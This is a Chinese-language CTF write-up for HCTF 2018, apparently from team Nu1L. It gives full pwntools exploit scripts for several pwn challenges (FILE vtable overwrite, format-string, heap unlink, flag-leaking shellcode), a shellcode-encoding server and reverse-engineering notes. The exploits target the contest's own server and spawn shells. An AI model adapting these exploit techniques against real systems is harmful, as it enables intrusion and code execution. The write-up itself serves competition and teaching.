HCTF 2018

[TOC]

比赛网址:https://hctf.io/#/
比赛时间:11月9日 20:00 - 11月11日 20:00
Team Page: http://nu1l-ctf.com/

PWN

the end

from pwn import *
#context.aslr = False
context.log_level = 'debug'

def pwn(p):
    p.recvuntil('here is a gift ')
    libc_base = int(p.recvuntil(',', drop=True), 16) - 0x0CC230
    stdout_vtable = libc_base + 0x3c56f8
    fake_io_jump = 0x3c3fb0 + libc_base
    remote_addr = libc_base + 0x3c4008
    one_gadget = libc_base + 0x4526a
    one_gadget = libc_base + 0xF02B0



    log.success('libc: {}'.format(hex(libc_base)))
    log.success('stdout_vtable: {}'.format(hex(stdout_vtable)))
    log.success('fake_io_jump: {}'.format(hex(fake_io_jump)))
    log.success('remote_addr: {}'.format(hex(remote_addr)))
    log.success('one_gadget: {}'.format(hex(one_gadget)))

    #0x3c5c58
    payload = p64(stdout_vtable)
    payload += p64(fake_io_jump)[0]
    payload += p64(stdout_vtable + 1)
    payload += p64(fake_io_jump)[1]


    payload += p64(remote_addr)
    payload += p64(one_gadget)[0]
    payload += p64(remote_addr + 1)
    payload += p64(one_gadget)[1]
    payload += p64(remote_addr + 2)
    payload += p64(one_gadget)[2]

    #gdb.attach(p)
    p.send(payload)
    p.interactive()

if __name__ == '__main__':
    p = remote('150.109.44.250', 20002)
    p.recvuntil('Input your token:')
    p.sendline('RVZhvB2OtdydtHAaHxdEeRcFzZlKIC9U')
    #p = process('./the_end')
    #p.interactive()
    pwn(p)

babyprintf_ver2

from pwn import *
context.log_level = 'debug'
context.aslr = False

def pwn(p):
    p.recvuntil('So I change the buffer location to ')
    program_base = int(p.recvuntil('\n', drop=True), 16) - 0x202010
    log.success('program_base: {}'.format(hex(program_base)))
    p.sendline('%a')
    p.recvuntil('0x0.0')
    libc_base = int(p.recvuntil('p', drop=True), 16) - 0x50e8
    log.success('libc_base: {}'.format(hex(libc_base)))
    p.sendline('%100000cb')
    p.recvuntil('b')
    malloc_hook = 0x3ebc30
    remote = libc_base + malloc_hook - 0x10
    payload = 'a'*0xf + '\x00'
    payload += p64(program_base + 0x202028)
    payload += p64(0x00000000fbad2887) + p64(0)
    payload += p64(0) + p64(0)
    payload += p64(remote) + p64(remote)
    payload += p64(remote + 0x20) + p64(0)
    payload += p64(0) + p64(0)
    payload += p64(0) + p64(0)
    payload += p64(0) + p64(0)
    payload += p64(1) + p64(0xffffffffffffffff)
    payload += p64(0) + p64(libc_base + 0x3ed8c0) # lock
    payload += p64(0xffffffffffffffff) + p64(0)
    payload += p64(libc_base + 0x3eb8c0) + p64(0) # _IO_wide_data_1
    payload += p64(0) + p64(0)
    payload += p64(0x00000000ffffffff) + p64(0)
    payload += p64(0) + p64(libc_base + 0x3e82a0) # vtable
    #gdb.attach(p)
    log.info('remote: {}'.format(hex(remote)))
    log.info('fake: {}'.format(hex(program_base + 0x202028)))
    p.sendline(payload)
    one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]
    payload = 'a' + p64(one_gadget[1] + libc_base)
    p.sendline(payload)

    payload = 'a'*0xf + '\x00'
    payload += p64(program_base + 0x202028)
    payload += p64(0x00000000fbad2887) + p64(0)
    payload += p64(0) + p64(0)
    payload += p64(0) + p64(0)
    payload += p64(0) + p64(0)
    payload += p64(0) + p64(0)
    payload += p64(0) + p64(0)
    payload += p64(0) + p64(0)
    payload += p64(1) + p64(0xffffffffffffffff)
    payload += p64(0) + p64(libc_base + 0x3ed8c0) # lock
    payload += p64(0xffffffffffffffff) + p64(0)
    payload += p64(libc_base + 0x3eb8c0) + p64(0) # _IO_wide_data_1
    payload += p64(0) + p64(0)
    payload += p64(0x00000000ffffffff) + p64(0)
    payload += p64(0) + p64(libc_base + 0x3e82a0) # vtable
    p.sendline(payload)
    p.sendline('%100000c')

    #p.recvuntil('a'*0xf)


    p.interactive()


if __name__ == '__main__':
    #p = process('./babyprintf_ver2')
    p = remote('150.109.44.250', 20005)
    p.recvuntil('Input your token:')
    p.sendline('RVZhvB2OtdydtHAaHxdEeRcFzZlKIC9U')
    pwn(p)

easyexp

最后还是做出来了,然而比赛结束了

from pwn import *
context.aslr = False
context.log_level = 'debug'
def mkdir(p, filename):
    p.recvuntil('$')
    p.clean()
    p.sendline('mkdir ' + filename)

def mkfile(p, filename, data):
    p.recvuntil('$')
    p.clean()
    p.sendline('mkfile ' + filename)
    p.recvuntil('write something:')
    p.send(data)

def cat(p, filename):
    p.recvuntil('$')
    p.clean()
    p.sendline('cat ' + filename)

def trig_cve(p, buf):
    mkdir(p, '../../{}'.format(buf))

def pwn(p):
    libc = ELF('./libc-2.23.so')
    p.recvuntil('input your home\'s name: ')
    p.sendline('(unreachable)')
    mkfile(p, 'ccc', '/bin/sh\n')
    payload = '/'*0x87
    mkfile(p, '(unreachable)/tmp', payload + '\n')
    payload = 'z'*0x87
    mkfile(p, 'aaa', payload + '\n')
    payload = 'b\x90'
    trig_cve(p, payload)
    trig_cve(p, '')
    payload = p64(0) + p64(0x81)
    payload += p64(0x603180 - 0x18 + 0x60) + p64(0x603180 - 0x10 + 0x60)
    payload = payload.ljust(0x80, 'c')
    payload += p64(0x80)[:7]
    mkfile(p, '(unreachable)/tmp', payload)
    # unlink
    mkfile(p, '123', '\n')
    payload = '\x00'*0x18 + p64(0x603038) # puts
    payload += p32(0x87)[:3]
    mkfile(p, '(unreachable)/tmp', payload + '\n')
    cat(p, '(unreachable)/tmp')
    libc_base = u64(p.recv(6).ljust(8, '\x00')) - 0x6f690
    log.success('libc_base: {}'.format(hex(libc_base)))
    payload = p64(libc_base + 0x45390) # system
    mkfile(p, '(unreachable)/tmp', payload + '\n')
    cat(p, 'ccc')
    #gdb.attach(proc.pidof(p)[0])
    p.interactive()

if __name__ == '__main__':
    local = 0
    if local:
        p = process('./easyexp', env = {'LD_PRELOAD': './libc-2.23.so'})
    else:
        p = remote('150.109.44.250', 20004)
        p.recvuntil('token:')
        p.sendline('RVZhvB2OtdydtHAaHxdEeRcFzZlKIC9U')
    pwn(p)

christmas

#coding=utf8
from pwn import *

context.arch = 'amd64'

def make_guess_shellcode(n, ch):
    # flag > ch 死循环
    # 否则退出
    shellcode = '''
    mov rdx, 0x10700ee0
    xor rdx, 0x10101010
    mov rbx, [rdx] # 0x601ef0
    mov rbx, [rbx+0x8]
    mov rbx, [rbx+0x18]
    mov rbx, [rbx+0x18]
    mov rbx, [rbx+0x18]
    mov rbx, [rbx+0x18]
    mov rbx, [rbx+0x18]
    mov rbx, [rbx+0x18] # rbx = linkmap flag.so
    mov rdx, 0x10703020
    xor rdx, 0x10101010
    mov rcx, [rdx] # 0x602030
    mov rdx, 0x101d5030
    xor rdx, 0x10101010
    add rcx, rdx # 0xd4020 __libc_dlsym
    mov rdi, rbx
    /* push 'flag_yes_1337\x00' */
    mov rax, 0x101010101010101
    push rax
    mov rax, 0x101010101010101 ^ 0x373333315f
    xor [rsp], rax
    mov rax, 0x7365795f67616c66
    push rax
    mov rsi, rsp
    call rcx
    call rax
    '''
    payload = asm(shellcode)

    payload += asm('xor rbx, rbx')
    if n != 0:
        payload += asm('mov bl, {}'.format(n))
    payload += asm('''
    xor rcx, rcx
    add rax, rbx
    mov cl, byte ptr [rax]
    ''')

    payload += asm('''
    fuck:
    cmp cl, {}
    jg fuck
    '''.format(ch))
    return payload

def shellcoe_encode(shellcode):
    payload = asm('''
    push rax
    xor al, 0x33
    ''')
    p = remote('192.168.178.1', 24356)
    p.send(shellcode)
    payload += p.recvall()
    p.close()
    return payload
def guess(n, ch):
    # flag > ch ret true
    #p = process('./christmas-bak')
    p = remote('150.109.44.250', 20003)
    p.recvuntil('Input your token:')
    p.sendline('RVZhvB2OtdydtHAaHxdEeRcFzZlKIC9U')
    log.info('start')
    #p = process('./christmas')
    try:
        p.recvuntil('can you tell me how to find it??\n')
        p.clean()
        payload = make_guess_shellcode(n, ch)
        payload = payload.ljust(0x100 - 48, 'a')
        payload = shellcoe_encode(payload)
        #log.info(repr(payload))
        #gdb.attach(p)
        p.sendline(payload)
        #p.interactive()
        #exit()
        p.recvuntil('\n', timeout=1)
    except EOFError:
        p.close()
        return False
    p.close()
    return True
def pwn():
    # HCTF{dyn_15_4w350m3}
    flag = 'HCTF{'
    while True:
        l = 0
        r = 255
        idx = len(flag)
        while True:
            m = (l + r) / 2
            if m == l:
                m = r
                break
            ret = guess(idx, m)
            if ret:
                log.info('flag[{}] > {}({})'.format(idx, m, repr(chr(m))))
                l = m
            else:
                log.info('flag[{}] <= {}({})'.format(idx, m, repr(chr(m))))
                r = m
            log.success('flag: {}'.format(repr(flag)))
            #log.info('{} {} {}'.format(l, r, m))
        flag += chr(m)

def test1():
    p = process('./christmas')
    payload = payload = asm('''
    push rax
    xor al, 0x33
    ''')
    payload += 'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2u0z4r3b4Z2Z122C2J4u382B0J2A2B0z3X2H125O2N7k0p4y2y2H124y2z2J2j5K2A2K2p4y2s2I0z5N2t2J165L002H083c5K2r0I0B0X0y4s3V0i2B0j2B124y1P1M4L400q0b0V2B084u4K2B0c2B0Y0x1K3t165K4k0z4M3c2F2J1l7p0x4s4z7p2H2C0s1M0J402Z4y5o8O4S8O4H0x0H8o7k125o0x0h3z3X083z8K2E0N3Y0U2x0P010P2L0U2M0U0Q0Q2p0Q130Q070S2C0Q0Y0U2t0U2J0S2C0Q120S2C0Q080Q2y0P2J0R2u0P0W0T2J0U2j0Q7K0U2L0R120S2G0S2K0P2m0V2q0Q2y0U2r0U7K0V2q0S2I0S2B0Q2r0P2L0Q2K0U0Q0S7k04'
    payload = payload.ljust(0xf00 - 48, 'a')
    payload += 'flag_yes_1337'
    p.recvuntil('can you tell me how to find it??\n')
    p.clean()
    gdb.attach(p)
    p.sendline(payload)
    p.interactive()

def test():
    s = make_guess_shellcode(0, ord('f') + 1) + 'a'*0x50
    log.info(repr(s))
    # fp = open('/home/pwn/Desktop/test.bin', 'wb')
    # fp.write(s)
    # fp.close()
    shellcoe_encode(s)

if __name__ == '__main__':
    #p = process('./christmas')
    pwn()
    #test()

https://github.com/SkyLined/alpha3 发现了这个东西,不过shellcode里面不能有\0
\0解决了
但是要求某个寄存器指向当前shellcode....
有rax
rax不行 要求是rax恰好指向当前shellcode

namespace shellcodeEncodeServer
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("Server is running ... ");
            IPAddress ip = new IPAddress(new byte[] { 0, 0, 0, 0 });
            TcpListener listener = new TcpListener(ip, 24356);

            listener.Start();         
            Console.WriteLine("Start Listening ...");
            while (true)
            {

                TcpClient remoteClient = listener.AcceptTcpClient();
                Console.WriteLine("Client Connected!{0} <-- {1}",
                    remoteClient.Client.LocalEndPoint, remoteClient.Client.RemoteEndPoint);
                var s = remoteClient.GetStream();
                byte[] buf = new byte[4096];
                int readSize =  s.Read(buf, 0, 4096);
                write2File("D:\\Desktop\\test.bin", buf, readSize);
                Processor processor = new Processor();
                var encode = processor.GetEncodeCod();
                if(encode == null)
                {
                    s.Write(Encoding.Default.GetBytes("error"), 0, 5);
                    remoteClient.Close();
                    continue;
                }
                s.Write(Encoding.Default.GetBytes(encode), 0, encode.Length);
                remoteClient.Close();
            }
        }
        static private void write2File(string filePathName, byte[] bytes,int length)

        {
            if (File.Exists(filePathName))
            {
                File.Delete(filePathName);
            }
            FileStream stream = new FileStream(filePathName, FileMode.Create);
            stream.Write(bytes, 0, length);
            stream.Flush();
            stream.Close();
        }
    }
    class Processor
    {
        private Process p;
        private string encodeCode;
        public Processor()
        {
            p = new Process();
            p.StartInfo.FileName = "C:\\python27-x64\\python.exe";
            p.StartInfo.Arguments = "D:\\Desktop\\alpha3\\ALPHA3.py x64 ascii mixedcase rax --input=\"D:\\Desktop\\test.bin\"";
            p.StartInfo.UseShellExecute = false;
            p.StartInfo.RedirectStandardOutput = true;
            p.StartInfo.RedirectStandardInput = true;
            p.StartInfo.RedirectStandardError = true;
            p.OutputDataReceived += new DataReceivedEventHandler((senders, e) =>
            {
                string getData = e.Data;
                if (String.IsNullOrEmpty(getData))
                {
                    return;
                }
                encodeCode = getData;
            });
            p.Start();
            p.BeginOutputReadLine();
            p.PriorityClass = ProcessPriorityClass.High;
        }
        public string GetEncodeCod()
        {
            int count = 0;
            while (String.IsNullOrEmpty(this.encodeCode))
            {
                Thread.Sleep(50);
                count++;
                if (count >= 40)
                {
                    break;
                }
            }
            return this.encodeCode;
        }
        ~Processor()
        {
            p.Close();
        }
    }
}

这个encode工具只能在windows下用,只能开个server让那边连过来再encode,很蠢(

Reverse

LuckyStar☆

一堆smc,一堆反调

用ce附上去终于dump下来内存了

base64变表加密加一个随机数的异或,还是通过ce去读栈上加密之后的信息然后还原出这个异或的表

>>> en = 'ywfHywfHywfHywfHywfHywfHywfHywfHywfHywe='
>>> de = '71 F6 5F C5 39 7E 24 5C A9 85 FE 2E 4A A1 AF FA B8 E2 D0 56 BE 5A 7A A7 AB C5 39 2E F5 CE 97 70 6D 7F E9 86 90 08 68 38'
>>> de = de.split(' ')
>>> de
['71', 'F6', '5F', 'C5', '39', '7E', '24', '5C', 'A9', '85', 'FE', '2E', '4A', 'A1', 'AF', 'FA', 'B8', 'E2', 'D0', '56', 'BE', '5A', '7A', 'A7', 'AB', 'C5', '39', '2E', 'F5', 'CE', '97', '70', '6D', '7F', 'E9', '86', '90', '08', '68', '38']
>>> de_1 = []
>>> de_1 = ''
>>> for i in de:
...     de_1 += chr(int(i,16))
...
>>> table = []
>>> for i in xrange(40):
...     table.append(ord(de_1[i])^ord(en[i]))
...
>>> table
[8, 129, 57, 141, 64, 9, 66, 20, 208, 242, 152, 102, 51, 214, 201, 178, 193, 149, 182, 30, 199, 45, 28, 239, 210, 178, 95, 102, 140, 185, 241, 56, 20, 8, 143, 206, 233, 127, 13, 5]
import ida_bytes

start = 0x403520
table = [8, 129, 57, 141, 64, 9, 66, 20, 208, 242, 152, 102, 51, 214, 201, 178, 193, 149, 182, 30, 199, 45, 28, 239, 210, 178, 95, 102, 140, 185, 241, 56, 20, 8, 143, 206, 233, 127, 13, 5]
res = ''
for i in xrange(32):
    res += chr(ida_bytes.get_byte(i+start) ^ table[i])
print res

然后直接解base64即可

#include "stdafx.h"

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char base64_table[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/";

char* base64_encode(const char* data, size_t len)
{
    char *des = (char*)malloc(1 + 4 * len / 3);
    memset(des, 0, 1 + 4 * len / 3);
    size_t index = 0;
    size_t i;
    for (i = 0; i < len - 3; i += 3)
    {
        size_t index1 = data[i] >> 2; //first
        size_t index2 = (data[i] % 4) * 16 + (data[i + 1] >> 4); //second
        size_t index3 = (data[i + 1] % 16) * 4 + (data[i + 2] >> 6); //third
        size_t index4 = data[i + 2] % 64;
        des[index++] = base64_table[index1];
        des[index++] = base64_table[index2];
        des[index++] = base64_table[index3];
        des[index++] = base64_table[index4];
    }
    if (len - i == 1)
    {
        size_t index1 = data[i] >> 2;
        size_t index2 = (data[i] % 4) * 16 + (data[i + 1] >> 4); //second
        des[index++] = base64_table[index1];
        des[index++] = base64_table[index2];
        des[index++] = '=';
        des[index++] = '=';
    }
    else if (len - i == 2)
    {
        size_t index1 = data[i] >> 2;
        size_t index2 = (data[i] % 4) * 16 + (data[i + 1] >> 4); //second
        size_t index3 = (data[i + 1] % 16) * 4 + (data[i + 2] >> 6); //third
        des[index++] = base64_table[index1];
        des[index++] = base64_table[index2];
        des[index++] = base64_table[index3];
        des[index++] = '=';
    }
    else
    {
        size_t index1 = data[i] >> 2; //first
        size_t index2 = (data[i] % 4) * 16 + (data[i + 1] >> 4); //second
        size_t index3 = (data[i + 1] % 16) * 4 + (data[i + 2] >> 6); //third
        size_t index4 = data[i + 2] % 64;
        des[index++] = base64_table[index1];
        des[index++] = base64_table[index2];
        des[index++] = base64_table[index3];
        des[index++] = base64_table[index4];
    }
    des[index++] = 0;
    return des;
}

char* base64_decode(char *data)
{

    size_t index = 0;
    size_t len = strlen(data);
    char* des = (char*)malloc(1 + len * 3 / 4);
    memset(des, 0, 1 + len * 3 / 4);
    for (size_t i = 0; i < len; i += 4)
    {
        size_t index1 = strchr(base64_table, data[i]) - base64_table;
        size_t index2 = strchr(base64_table, data[i + 1]) - base64_table;
        size_t index3 = strchr(base64_table, data[i + 2]) - base64_table;
        size_t index4 = strchr(base64_table, data[i + 3]) - base64_table;
        des[index++] = ((index1 % 64) << 2) + ((index2 % 64) >> 4);
        des[index++] = ((index2 % 16) << 4) + ((index3 % 64) >> 2);
        des[index++] = ((index3 % 4) << 6) + (index4 % 64);
    }
    des[index] = 0;
    return des;
}


int main()
{
    char test[] = "Agn0zNSXENvTAv9lmg5HDdrFtw8ZFq==";
    char *de_test = base64_decode(test);
    printf("%s\n", de_test);
    system("pause");
    return 0;
}

Seven

经典迷宫题,调了kbdclass 直接读键盘

* * * * * * * * * * * * * * * *
o . . . . . . . . . . . . . . *
* * * * * * * * * * * * * * . *
* * * * * * * * * * * * . . . *
* * * * * * * * * * * . . * * *
* * * * * * * * * * . . * * * *
* * * * * * * * * . . * * * * *
* * * * * * * * . . * * * * * *
* * * * * * * . . * * * * * * *
* * * * * * . . * * * * * * * *
* * * * * . . * * * * * * * * *
* * * * . . * * * * * * * * * *
* * * * 7 * * * * * * * * * * *
* * * * * * * * * * * * * * * *

PolishDuck

一个bad usb的固件

http://invicsfate.cc/2018/04/13/HITBCTF2018-reverse-hex/

index_table=[320,332, 339, 354, 375, 395, 425, 456, 467, 491, 510, 606, 519, 540, 551, 582, 609, 624, 651, 664, 675, 689, 604, 698, 709, 720, 727, 754, 77
        

Hacking more

...